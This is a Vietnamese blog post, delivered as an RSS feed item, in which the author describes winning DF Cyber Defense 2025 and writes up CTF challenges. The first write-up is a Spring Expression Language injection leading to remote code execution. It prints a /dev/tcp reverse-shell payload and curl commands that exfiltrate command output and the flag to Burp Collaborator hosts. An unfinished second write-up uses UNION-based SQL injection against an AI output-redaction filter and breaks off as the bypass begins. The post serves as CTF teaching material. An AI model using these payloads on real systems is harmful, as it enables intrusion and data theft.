<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Chia sẻ là niềm vui]]></title><description><![CDATA[Chia sẻ là niềm vui]]></description><link>https://manhnv.com</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1739157837967/ea107b2a-0567-461b-a970-23c0af4f7b18.png</url><title>Chia sẻ là niềm vui</title><link>https://manhnv.com</link></image><generator>RSS for Node</generator><lastBuildDate>Tue, 07 Apr 2026 20:51:37 GMT</lastBuildDate><atom:link href="https://manhnv.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Tôi đã đóng góp gì để cùng team vô địch DF Cyber Defense 2025? - King of the hill]]></title><description><![CDATA[I. Tổng quan
Giới thiệu - Flexing
Cuối tháng 9 vừa qua cụ thể là 21/09/2025-25/09/2025, DF Cyber Defense 2025 – cuộc thi thường niên về Diễn tập tấn công phòng chủ trên không gian mạng cho lĩnh vực Ngân hàng, tài chính tại Việt Nam đã được tổ chức. K...]]></description><link>https://manhnv.com/toi-da-dong-gop-gi-de-cung-team-vo-dich-df-cyber-defense-2025-king-of-the-hill</link><guid isPermaLink="true">https://manhnv.com/toi-da-dong-gop-gi-de-cung-team-vo-dich-df-cyber-defense-2025-king-of-the-hill</guid><category><![CDATA[dfcyberdefense]]></category><category><![CDATA[CTF]]></category><category><![CDATA[SmartBanking ]]></category><category><![CDATA[king of the hill]]></category><dc:creator><![CDATA[Manhnv]]></dc:creator><pubDate>Sun, 28 Sep 2025 19:52:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759123523378/55d1ab11-b9aa-46e7-b0e7-c4f831b862e4.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-i-tong-quan">I. Tổng quan</h1>
<h2 id="heading-gioi-thieu-flexing">Giới thiệu - Flexing</h2>
<p>Cuối tháng 9 vừa qua cụ thể là 21/09/2025-25/09/2025, DF Cyber Defense 2025 – cuộc thi thường niên về Diễn tập tấn công phòng chủ trên không gian mạng cho lĩnh vực Ngân hàng, tài chính tại Việt Nam đã được tổ chức. Kết thúc cuộc thi, team VNDIRECT chúng tôi – đại diện cho Công ty Cổ phần Chứng Khoán VNDIRECT giành chức vô địch.</p>
<p>(Dạo này mình mới qua công ty VNDirect (Cũng đã được 6 tháng) việc mới + nhiều thứ mới nên là không có thời gian viết blog.)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759085558465/8f0b548b-4aa1-4e8a-8c40-6034d516dc98.jpeg" alt class="image--center mx-auto" /></p>
<p>Giải thi đấu gồm có 2 vòng thi:</p>
<ul>
<li><p>Online diễn ra vào ngày 21/09/2025</p>
</li>
<li><p>Onsite diễn ra tại khách sạn JW Marriott (Hà Nội) vào ngày 25/09/2025</p>
</li>
</ul>
<p>Các vòng thi đều có đủ 2 phần là: <code>King of the hill</code> và <code>Jeopardy</code>.</p>
<p><code>Jeopardy</code> thì các bạn chơi CTF nhiều thì cũng đã biết về thể loại này rồi nên mình không nhắc đến nữa.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759085619073/3be3d69b-6526-4614-bb87-6dac95ca2b30.png" alt class="image--center mx-auto" /></p>
<p><code>King of the hill</code> thì theo như mình thấy và cũng như BTC nói thì đây là thể loại mà ở Việt Nam lần đầu tiên tổ chức, nên nó khá mới mẻ và hấp dẫn.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759085601200/1368e3b9-b85f-4534-b43b-fda973d2755f.png" alt class="image--center mx-auto" /></p>
<p>Các đội phải giữ tổng cộng 5 hill như hình bên trên, điểm giữ hill sẽ được tính như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759086266452/ca895bfb-1d52-49d5-8956-c118d3ab0da6.png" alt class="image--center mx-auto" /></p>
<p>Top 10 vòng thi Online sẽ được cộng điểm ưu thế cho vòng thi Onsite</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759086181350/42dbc327-4f38-43ec-95c5-6c5d72e56cf9.png" alt class="image--center mx-auto" /></p>
<p><em>(Hình minh họa 2 phần thi bên dưới mình chỉ chụp của ngày online của ngày onsite mình quên chụp)</em></p>
<p>Các bạn có thể đọc thêm về thể lệ cuộc thi ở đây: <a target="_blank" href="https://drive.google.com/file/d/1vTTKE8vAz4u1R6ga_etJDWcFM-USqe09/view?usp=sharing">https://drive.google.com/file/d/1vTTKE8vAz4u1R6ga_etJDWcFM-USqe09/view?usp=sharing</a></p>
<p>Mỗi team sẽ có 4 người tham gia thi đấu, nhưng riêng bọn tôi có thêm 1 đội quân thi đấu khác nữa đó là <code>Đội quân tâm linh</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759122677247/9a672325-1c46-4b15-b2d8-6978a9915739.png" alt class="image--center mx-auto" /></p>
<p>→ Có thờ có thiêng, có kiêng có lành đúng không mấy Ní</p>
<h2 id="heading-ket-qua-cuoc-thi">Kết quả cuộc thi</h2>
<p>Với vòng Online thì team mình đã may mắn dẫn đầu với tổng điểm là: 1180 điểm</p>
<ul>
<li><p>Điểm King of the hill là: 980</p>
</li>
<li><p>Mình giải được 1 challenge Jeo: 200</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759086021972/6ae6bb6c-fddd-44f0-9864-3ce200fb8a67.png" alt class="image--center mx-auto" /></p>
<p>Với vòng Onsite chúng tôi may mắt đạt được tổng điểm là: 1086 điểm</p>
<ul>
<li><p>King of the hill: 686</p>
</li>
<li><p>Jeopardy: 400 (giải được 2 challenge)</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759086436105/272c0f8b-2479-4df5-a004-a5ecab048934.png" alt class="image--center mx-auto" /></p>
<p>→ Nhưng với lợi thế là chiến thắng vị trị thứ 1 ở vòng Online nên được +200 điểm vào điểm chung cuộc vòng Onsite nên tổng điểm cuối cùng chúng tôi có là: 1286 (Vượt trội hơn hẳn so với đội về thứ 2)</p>
<p>Hôm nay, tôi viết xuống bài viết này không phải mục đích là khoe mà tôi muốn chia sẻ niềm vui này tới mọi người cũng như viết xuống cách giải quyết những challenge mà chúng tôi gặp phải trong quá trình thi đấu.</p>
<p><em><mark>(Vì trong cuộc thi này, tôi đảm nhận nhiệm vụ giải Jeopardy và giữ hill web/API và cũng lâu lâu giữ Hill AI Fraud → Nên tôi chỉ viết xoay quanh những thứ tôi làm được, còn những phần A/E khác làm để tôi lừa lừa họ viết Blog sau)</mark></em></p>
<p>Cụ thể là ở cả 2 vòng tôi đảm nhận:</p>
<ul>
<li><p>Giữ hill-1: Online được 75 điểm, Onsite được 70 điểm</p>
</li>
<li><p>Giải các challenge Jeopardy: Online được 1 Jeopardy, Onsite được 2 Jeopardy.</p>
</li>
</ul>
<h1 id="heading-ii-write-up-jeopardy-vong-thi-onsite">II. Write up Jeopardy vòng thi Onsite</h1>
<h2 id="heading-finovabank-statement">FinovaBank Statement</h2>
<h3 id="heading-de-bai">Đề bài</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759080712375/e44f8b48-c061-4d1b-ba5b-f249c7540780.png" alt class="image--center mx-auto" /></p>
<p>Challenge này chúng ta được cho 1 trang web có tên là FinovaBank - Statement viewer. Vào xem thì có chức năng search <code>Transaction search</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759080744269/4cab6ad6-60f1-4adf-8fc2-b65aae5f688c.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-phan-tich">Phân tích</h3>
<p>Theo thói quen của tôi là tôi luôn search thử vài mẫu test có kèm theo các ký tự đặc biệt như <code>’</code> <code>”</code> … mục đích là để xem phản ứng của server.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759080783718/285fb024-dc20-4b58-b200-1202ea2e1c78.png" alt class="image--center mx-auto" /></p>
<p>Tất nhiên rồi, khi pentest thì chúng ta đề phải setup Burpsuite, và khi bấm submit request xong web ui trả về <code>No results</code> thì tôi kiểm tra burpsuite history của mình và phát hiện response trả về có lỗi.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759086846101/796a9e15-66ca-4087-8a53-44c947cb12c9.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">HTTP/1.1 500 
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 28 Sep 2025 17:33:15 GMT
Content-Type: application/json
Connection: keep-alive
Content-Length: 211

{"timestamp":"2025-09-28T17:33:15.960+00:00","status":500,"error":"Internal Server Error","message":"Expression [ \"test\"\" ] @1: EL1045E: Cannot find terminating \" for string","path":"/api/statements/search"}
</code></pre>
<p>Ý tôi ở đây là lỗi (bug), không phải lỗ hổng bảo mật. Tuy nhiên trong message lỗi là một mã lỗi Expression <code>EL1045E</code>, tôi tò mò tìm kiếm google thử:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759080928238/7a98279f-8f5e-4efc-9050-392f4cb13872.png" alt class="image--center mx-auto" /></p>
<p>Đại ý google trả về là <code>Expression EL1041E is a Spring Expression Language (SpEL) parsing error that occurs when the parser encounters unexpected data after it has already successfully parsed a complete, valid expression. It indicates that there's extra, invalid characters or tokens at the end of an expression string, such as an extra colon (:), comma (,), or curly brace ({) where they are not expected, leading to the parsing failure.</code></p>
<p>Mộ ví dụ về <code>Spring Expression Language (SpEL)</code></p>
<pre><code class="lang-java"><span class="hljs-comment">// Hello SpEL — toán học cơ bản</span>
<span class="hljs-keyword">import</span> org.springframework.expression.ExpressionParser;
<span class="hljs-keyword">import</span> org.springframework.expression.spel.standard.SpelExpressionParser;
<span class="hljs-keyword">import</span> org.springframework.expression.Expression;

<span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SpelDemo</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> </span>{
        ExpressionParser parser = <span class="hljs-keyword">new</span> SpelExpressionParser();

        Expression exp = parser.parseExpression(<span class="hljs-string">"1 + 2 * 3"</span>);
        Integer result = exp.getValue(Integer.class);

        System.out.println("Kết quả: " + result); // <span class="hljs-number">7</span>
    }
}
</code></pre>
<p>OK, thì theo thói quen thôi có <code>Expression</code> lại còn phản ứng lỗi khi mà gửi ký tự đặc biệt vào thì có khả năng cao là có lỗ hổng lắm.</p>
<p>Vì suy nghĩ của tôi đơn giản như thế này: <code>Expression</code> thì sẽ là xử lý 1 cái gì đó? Vậy cái gì đó lại phản ứng lại với input tôi gửi lên → chứng tỏ 1 điều dev không hề validate input và ném thẳng vào cho <code>Expression</code> xử lý thì mới có chuyện nó phản ứng lại như vậy.</p>
<p>Thì tất nhiên rồi, điều đầu tiên cần làm là xem thằng cha <code>Spring Expression Language (SpEL)</code> có tồn tại lỗ hổng bảo mật nào không đã, tôi thì tôi hay search kiểu đại loại như:</p>
<ul>
<li><p>Spring Expression Language (SpEL) exploit</p>
</li>
<li><p>Spring Expression Language (SpEL) vuln</p>
</li>
<li><p>Spring Expression Language (SpEL) cve</p>
</li>
<li><p>…</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759080956209/0231703d-0d52-45b7-a455-285e699ab45d.png" alt class="image--center mx-auto" /></p>
<p>Đó, thì khi tìm kiếm với từ khóa như trên thì cũng thấy có tý hi vọng, thấy là cũng toàn title là có lỗ hổng rồi đấy, thậm chí là RCE.</p>
<p>À thì ra <code>Spring Expression Language (SpEL)</code> có lỗ hổng bảo mật có thể RCE, giải thích thì dài dòng như tôi khuyên bạn nên đọc link này để hiểu rõ trước về lỗ hổng này đã rồi đọc tiếp bài nhé: <a target="_blank" href="https://www.mgm-sp.com/identifying-and-preventing-remote-code-execution-rce-with-spring-expression-language-spel">https://www.mgm-sp.com/identifying-and-preventing-remote-code-execution-rce-with-spring-expression-language-spel</a></p>
<p>Ok, coi như bạn đã hiểu về lỗ hổng trên nhé, tôi sẽ đi thẳng vào tìm cách khai thác luôn nhé.</p>
<p>Trước hết tôi thử xóa bớt đi 1 số parram và chỉ chừa lại <code>customerName</code> với value là <code>test%22</code>, thì server vẫn giãy nảy lên như lúc tôi thử ban đầu.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759081041685/bbd259fd-75f4-489c-a7e9-d5468be3e12c.png" alt class="image--center mx-auto" /></p>
<p>-&gt; Để ý dòng chữ này nha <code>Cannot find terminating \" for string</code> → À à là sao nhỉ? là khi thêm <code>“</code> vào thì nó bị thừa <code>”</code> ra hay gì mà nó lại bảo <code>Cannot find terminating \" for string</code> → À kiểu nó phải thế à.</p>
<p>Thử làm thám tử Conan dự đoán code có thể đang chạy trên server xem sao nha.</p>
<pre><code class="lang-java"><span class="hljs-comment">// Controller</span>
<span class="hljs-meta">@RestController</span>
<span class="hljs-meta">@RequestMapping("/api/statements")</span>
<span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">StatementController</span> </span>{

    <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> StatementService statementService;

    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-title">StatementController</span><span class="hljs-params">(StatementService statementService)</span> </span>{
        <span class="hljs-keyword">this</span>.statementService = statementService;
    }

    <span class="hljs-meta">@GetMapping("/search")</span>
    <span class="hljs-keyword">public</span> ResponseEntity&lt;List&lt;Statement&gt;&gt; search(<span class="hljs-meta">@RequestParam("customerName")</span> String customerName) {
        List&lt;Statement&gt; results = statementService.search(customerName);
        <span class="hljs-keyword">return</span> ResponseEntity.ok(results);
    }
}
</code></pre>
<pre><code class="lang-java"><span class="hljs-comment">// Service</span>
<span class="hljs-meta">@Service</span>
<span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">StatementService</span> </span>{

    <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> StatementRepository repo;
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> ExpressionParser parser = <span class="hljs-keyword">new</span> SpelExpressionParser();

    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-title">StatementService</span><span class="hljs-params">(StatementRepository repo)</span> </span>{
        <span class="hljs-keyword">this</span>.repo = repo;
    }

    <span class="hljs-function"><span class="hljs-keyword">public</span> List&lt;Statement&gt; <span class="hljs-title">search</span><span class="hljs-params">(String customerName)</span> </span>{
        List&lt;Statement&gt; allStatements = repo.findAll();  <span class="hljs-comment">// lấy dữ liệu từ DB</span>

        List&lt;Statement&gt; filtered = <span class="hljs-keyword">new</span> ArrayList&lt;&gt;();
        <span class="hljs-keyword">for</span> (Statement s : allStatements) {
            <span class="hljs-comment">// Đoạn code có thể là lỗi ở đây</span>
            <span class="hljs-comment">// build biểu thức bằng cách ghép chuỗi từ input</span>
            String expr = <span class="hljs-string">"\""</span> + customerName + <span class="hljs-string">"\" == \""</span> + s.getCustomerName() + <span class="hljs-string">"\""</span>;
            Boolean match = parser.parseExpression(expr).getValue(Boolean.class);
            <span class="hljs-keyword">if</span> (Boolean.TRUE.equals(match)) {
                filtered.add(s);
            }
        }
        <span class="hljs-keyword">return</span> filtered;
    }
}
</code></pre>
<pre><code class="lang-java"><span class="hljs-comment">// Repository (giả định dùng JPA)</span>
<span class="hljs-meta">@Repository</span>
<span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">StatementRepository</span> </span>{
    <span class="hljs-meta">@PersistenceContext</span>
    <span class="hljs-keyword">private</span> EntityManager em;

    <span class="hljs-function"><span class="hljs-keyword">public</span> List&lt;Statement&gt; <span class="hljs-title">findAll</span><span class="hljs-params">()</span> </span>{
        <span class="hljs-keyword">return</span> em.createQuery(<span class="hljs-string">"SELECT s FROM Statement s"</span>, Statement.class)
                 .getResultList();
    }
}
</code></pre>
<p>Bên trên là 3 đoạn code mà tôi giả sử hình dung là server nó sẽ chạy kiểu kiểu thế thì nó mới xảy ra cái lỗi <code>Cannot find terminating \" for string</code> khi mà cho thêm <code>”</code> vào input, cụ thể là param: <code>customerName</code></p>
<p>Bây giờ thì chúng ta có thể dễ hình dung hơn rồi heng.</p>
<p>Vì sao lỗi xảy ra? <em>(Đoạn này là đang ngồi hình dung thôi nha, chưa biết gì đâu)</em></p>
<ul>
<li><p>Input: customerName=test"</p>
</li>
<li><p>Ghép vào: <strong>"test"" == "John Smith"</strong> → SpEL parser đọc <strong>"test""</strong> → chuỗi literal không đóng đúng → ném lỗi <code>EL1045E: Cannot find terminating “ for string.</code></p>
</li>
<li><p>Nếu input là <strong>test""</strong> → thành <strong>"test""" == "John Smith"</strong>. Trong một số parser, cặp <code>""</code> được hiểu như escape cho dấu <code>"</code> bên trong string → không lỗi và trả về 1 mảng rỗng.</p>
</li>
</ul>
<p>Như dự đoán, nếu tôi thử <code>test%22%22</code> thì có vẻ không còn lỗi nữa.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759081908447/8b1d80f2-30be-4a64-8d24-f430e47ae6c6.png" alt class="image--center mx-auto" /></p>
<p>Như vậy ta đã biết bên ta có thể truyền 1 biểu thức vào <code>parseExpression</code> để cho nó chạy và tay cũng hình dung ra được là có 1 <code>UNTRUSTED DATA</code> đang được truyền vào với công thức: <code>"\"" + UNTRUSTED DATA + "\" == \"" + s.getCustomerName() + "\"";</code></p>
<p>Ok, nhiệm vụ của chúng ta bây giờ phải làm sao cho PAYLOAD truyền vào nó phải chạy được đã, để nó không raise ra lỗi.</p>
<p>Tôi có hỏi qua ChatGPT thì trong SpEL thì các toán tử sẽ là and/or, … như hình bên dưới.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759088353900/61019d19-7c02-4dc0-973e-c70da6653835.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">test"=="test" and &lt;BIỂU THỨC&gt; and "1" == "
</code></pre>
<p>Và có thể bạn cũng biết <code>BIỂU THỨC</code> đó cũng có thể là 1 đoạn mã JAVA.</p>
<pre><code class="lang-java">test<span class="hljs-string">"=="</span>test<span class="hljs-string">" and Hello() == 1 and "</span><span class="hljs-number">1</span><span class="hljs-string">" == "</span>
</code></pre>
<h3 id="heading-khai-thac">Khai thác</h3>
<p>Vậy thì mã JAVA ở đây là gì? để chúng ta có thể khai thác được.</p>
<p>Thì các bạn mà hay RCE với các ứng dụng java thì cũng biết đến mấy lệnh <code>T(java.lang.Runtime).getRuntime().exec('&lt;COMMAND&gt;')</code></p>
<pre><code class="lang-java">T(java.lang.Thread).sleep(<span class="hljs-number">10000</span>) <span class="hljs-comment">// Cho server sleep 10000</span>
T(java.lang.Runtime).getRuntime().exec(<span class="hljs-string">'id'</span>) <span class="hljs-comment">// Chạy lệnh ID</span>
T(java.lang.Runtime).getRuntime().exec(\<span class="hljs-string">"bash -c $@|bash 0 echo bash -i &gt;&amp; /dev/tcp/&lt;ip&gt;/8443 0&gt;&amp;1\") // Revershell
(T(java.lang.Runtime).getRuntime().exec('sh -c $@|sh . echo curl aiwbvvnstnmkc4yj1aw8hyqm8de32s.burpcollaborator.net/?=`id|base64 -w0`')) // Out of band get command ID</span>
</code></pre>
<p>OK, bây giờ mình cần chứng minh rằng mình có thể chạy lệnh trên server nên mình sẽ dùng payload</p>
<pre><code class="lang-java">(T(java.lang.Runtime).getRuntime().exec(<span class="hljs-string">'sh -c $@|sh . echo curl aiwbvvnstnmkc4yj1aw8hyqm8de32s.burpcollaborator.net/?=`id|base64 -w0`'</span>))
</code></pre>
<p>→ Thay <code>aiwbvvnstnmkc4yj1aw8hyqm8de32s.burpcollaborator.net</code> bằng <code>burpcollaborator</code> của bạn.</p>
<p>Câu lệnh nó đại loại kiểu</p>
<pre><code class="lang-java">test<span class="hljs-string">"=="</span>test<span class="hljs-string">" and (T(java.lang.Runtime).getRuntime().exec('sh -c $@|sh . echo curl dtaq2nsw8ej2zpk0nw0yb65hv81zpqdf.oastify.com/?=`id|base64 -w0`')) == 1 and "</span><span class="hljs-number">1</span><span class="hljs-string">" == "</span>
</code></pre>
<p>Với một request Burpsuite kiểu</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759088895538/b309fb20-6ef8-4110-850f-7a375e851113.png" alt class="image--center mx-auto" /></p>
<p>Kiểm tra <code>burpcollaborator</code> thì thấy đã có 1 request http trả về</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759084474875/b8470cfe-436b-4f72-8bfa-89e699817f30.png" alt class="image--center mx-auto" /></p>
<p>\=&gt; Decode base64 <code>dWlkPTEwMDAgZ2lkPTEwMDAgZ3JvdXBzPTEwMDAK</code> ta được <code>uid=1000 gid=1000 groups=1000</code> → Vậy chứng minh rằng ta có thể chạy lệnh trên server.</p>
<p>Bây giờ ta cần tìm xem flag nằm ở đâu trên server, trước tiên là chạy lệnh <code>ls /</code></p>
<pre><code class="lang-plaintext">test"=="test" and (T(java.lang.Runtime).getRuntime().exec('sh -c $@|sh . echo curl dtaq2nsw8ej2zpk0nw0yb65hv81zpqdf.oastify.com/?=`ls /|base64 -w0`')) == 1 and "1" == "
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759088940674/8120ec51-c0a3-4752-ab69-a56a7810ef36.png" alt class="image--center mx-auto" /></p>
<p>Ta nhận được</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759084652081/faa2c751-962f-471d-8346-e05d37cd2766.png" alt class="image--center mx-auto" /></p>
<p>→ Vậy flag sẽ nằm tại <code>/-flag.txt</code></p>
<h3 id="heading-get-flag">Get flag</h3>
<pre><code class="lang-plaintext">test"=="test" and (T(java.lang.Runtime).getRuntime().exec('sh -c $@|sh . echo curl dtaq2nsw8ej2zpk0nw0yb65hv81zpqdf.oastify.com/?=`cat /-flag.txt|base64 -w0`')) == 1 and "1" == "
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759088995272/ac5bf12b-4978-4bfc-aaa1-289d43575b2a.png" alt class="image--center mx-auto" /></p>
<p>Nhận được flag là: <code>DF25{Y0u_c0UlD_5p3L_7h3_3xpr35510N!!}</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759084831831/099477ab-fe19-4440-bb99-e070961ea7a4.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-next-gen-waif-todo">Next-gen WAiF (TODO)</h2>
<h3 id="heading-de-bai-1">Đề bài</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759089079981/815241d4-a69c-45f4-9bab-9460494ddcf7.png" alt class="image--center mx-auto" /></p>
<p>Vào link web BTC cho thì chúng ta có</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759116439401/5dbd380b-586e-45bd-8500-b3f6b83dfeca.png" alt class="image--center mx-auto" /></p>
<p>Sau khi nhập <code>Team token</code> do BTC cung cấp thì ta có</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759113544358/5430371c-b9e5-4de5-be20-61b4d8bd9712.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-phan-tich-1">Phân tích</h3>
<p>Okey, nhìn vào hình trên thì ít nhất chúng ta cũng có thể thấy được 1 số thông tin như sau:</p>
<p>Available Endpoints:</p>
<ul>
<li><p><strong>GET /users/&lt;id&gt;</strong> Retrieve user information by ID</p>
</li>
<li><p><strong>GET /search?q=&lt;term&gt;</strong> Search for users by query term</p>
</li>
<li><p><strong>GET/POST /flag</strong> Submit the 3 users' secret_key values to claim the flag</p>
</li>
</ul>
<p>Đặc biệt nhất là: <strong><mark>Hint:</mark></strong> <mark>Tất cả output HTTP sẽ được đi qua hệ thống AI filtering và dữ liệu nhạy cảm sẽ bị redact thành </mark> <code>********</code><mark>.</mark></p>
<p>Bây giờ tôi thử xem từng enpoint 1 nhé.</p>
<p><strong>GET/POST /flag</strong></p>
<p>Với GET request chúng ta sẽ có 1 form submit như thế này</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759113663787/eb88f61d-eeea-4e30-931f-ff998df3d515.png" alt class="image--center mx-auto" /></p>
<p>→ <code>Trong DB có tổng cộng 3 users. Player cần phải trích xuất đủ cột secret_key của 3 users để chứng minh bạn đã bypass hoàn toàn hệ thống AI filtering.</code> =&gt; Như vậy trong hình dung của tôi là bài này là 1 kiểu nào đó lấy được 3 <code>secret_key</code> của 3 users để submit vào đây rồi.</p>
<p>Đương nhiên rồi, POST request chính là khi có secrets và bấm <code>Nộp</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759113800088/9bed567a-0a83-4920-acb4-b242e7bf4db2.png" alt class="image--center mx-auto" /></p>
<p><strong>GET /search?q=&lt;term&gt;</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759113882852/671ac80f-65c8-4974-99fd-281e797f3fcd.png" alt class="image--center mx-auto" /></p>
<p><strong>GET /users/&lt;id&gt;</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759113911830/0a49fa7e-5690-41e4-9f98-b80abd5887db.png" alt class="image--center mx-auto" /></p>
<p>\=&gt; có thể thấy được là với /search và /users thì các thông tin nhạy cảm đã được <mark>redact thành </mark> <code>********</code></p>
<p><strong>Thử nghiệm với SQL injection</strong></p>
<p>Đối với các bạn không biết thế nào nhưng với tôi khi mà nhìn thấy 2 enpoints /search và /users như trên thì điều đầu tiên tôi không thể bỏ qua là SQL injection và IDOR, tuy nhiên trong trường hợp này tôi không test IDOR nữa vì như các bạn thấy hình trên các thông tin nhạy cảm đã được <mark>redact thành </mark> <code>********</code> =&gt; IDOR có vẻ vô dụng trong trường hợp này.</p>
<p>Tôi đã thử SQL injection lên cả 2 enpoints, tuy nhiên với /users tôi đã thử đủ kiểu nhưng không thấy có sự phản hồi nào mang lại cảm giác là SQL injection sẽ ở chỗ này.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759114205321/d451e4ac-9079-4950-91ca-851e7b8a21db.png" alt class="image--center mx-auto" /></p>
<p>Khi tôi thử sang enpoint /search, thì với chức năng search này mình phải nghĩ đến là thử UNION Based.</p>
<p>Lúc đầu, khi vào <a target="_blank" href="http://152.42.200.249:8111/search"><code>http://152.42.200.249:8111/search</code></a> thì có vẻ dữ liệu trả về là 12 cột</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759114438810/464ff772-66a8-4aa3-b7f4-5da71d51f961.png" alt class="image--center mx-auto" /></p>
<p>Như vậy thì đơn giản rồi chỉ cần viết câu lệnh UNION để thử thôi.</p>
<pre><code class="lang-sql">'   UNION <span class="hljs-keyword">SELECT</span> <span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,<span class="hljs-number">5</span>,<span class="hljs-number">6</span>,<span class="hljs-number">7</span>,<span class="hljs-number">8</span>,<span class="hljs-number">9</span>,<span class="hljs-number">10</span>,<span class="hljs-number">11</span>,<span class="hljs-number">12</span> <span class="hljs-keyword">from</span> <span class="hljs-keyword">users</span><span class="hljs-comment">-- -</span>
</code></pre>
<p>Khi chạy lên thì sẽ thấy có sự xuất hiện của các các trường <code>address: 5</code> , <code>dob:6</code>, <code>username:2</code>, tôi sẽ không quan tâm trường ID lắm → Vì trường ID như thấy trong hình phần trên nó là dạng Int, mà tôi cần trích xuất secret nên int có vẻ không tác dụng lắm.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759114884273/ec113732-8afd-40ac-99d4-f60e0d111c3d.png" alt class="image--center mx-auto" /></p>
<p>Okey, bây giờ tôi đã biết rằng mình có thể làm sao đó để leak secret key thông qua:</p>
<ul>
<li><p><code>address</code></p>
</li>
<li><p><code>dob</code></p>
</li>
<li><p><code>username</code></p>
</li>
</ul>
<p>Các bạn đang nghĩ là: <code>Ồi! giờ thì đơn giản, chỉ cần select trương secret_key để vào trong 3 trường trên là được</code> đúng không?</p>
<p>Các bạn nghĩ:</p>
<pre><code class="lang-sql">'   UNION <span class="hljs-keyword">SELECT</span> <span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,secret_key,<span class="hljs-number">6</span>,<span class="hljs-number">7</span>,<span class="hljs-number">8</span>,<span class="hljs-number">9</span>,<span class="hljs-number">10</span>,<span class="hljs-number">11</span>,<span class="hljs-number">12</span> <span class="hljs-keyword">from</span> <span class="hljs-keyword">users</span><span class="hljs-comment">-- -</span>
</code></pre>
<p>Nhầm, nếu dễ thế thì đã không có chuyện để nói. Hãy nhớ lại <strong><mark>Hint:</mark></strong> <mark>Tất cả output HTTP sẽ được đi qua hệ thống AI filtering và dữ liệu nhạy cảm sẽ bị redact thành </mark> <code>********</code><mark>.</mark></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759115544295/2d123826-04d5-487a-8af7-d121247544b5.png" alt class="image--center mx-auto" /></p>
<p>Thấy chưa ạ? hehe, vậy thì chúng ta không thể cứ thế mà lấy đâu nhe, ta cần nghĩ ra 1 cách nào đó tricky hơn, ví dụ như:</p>
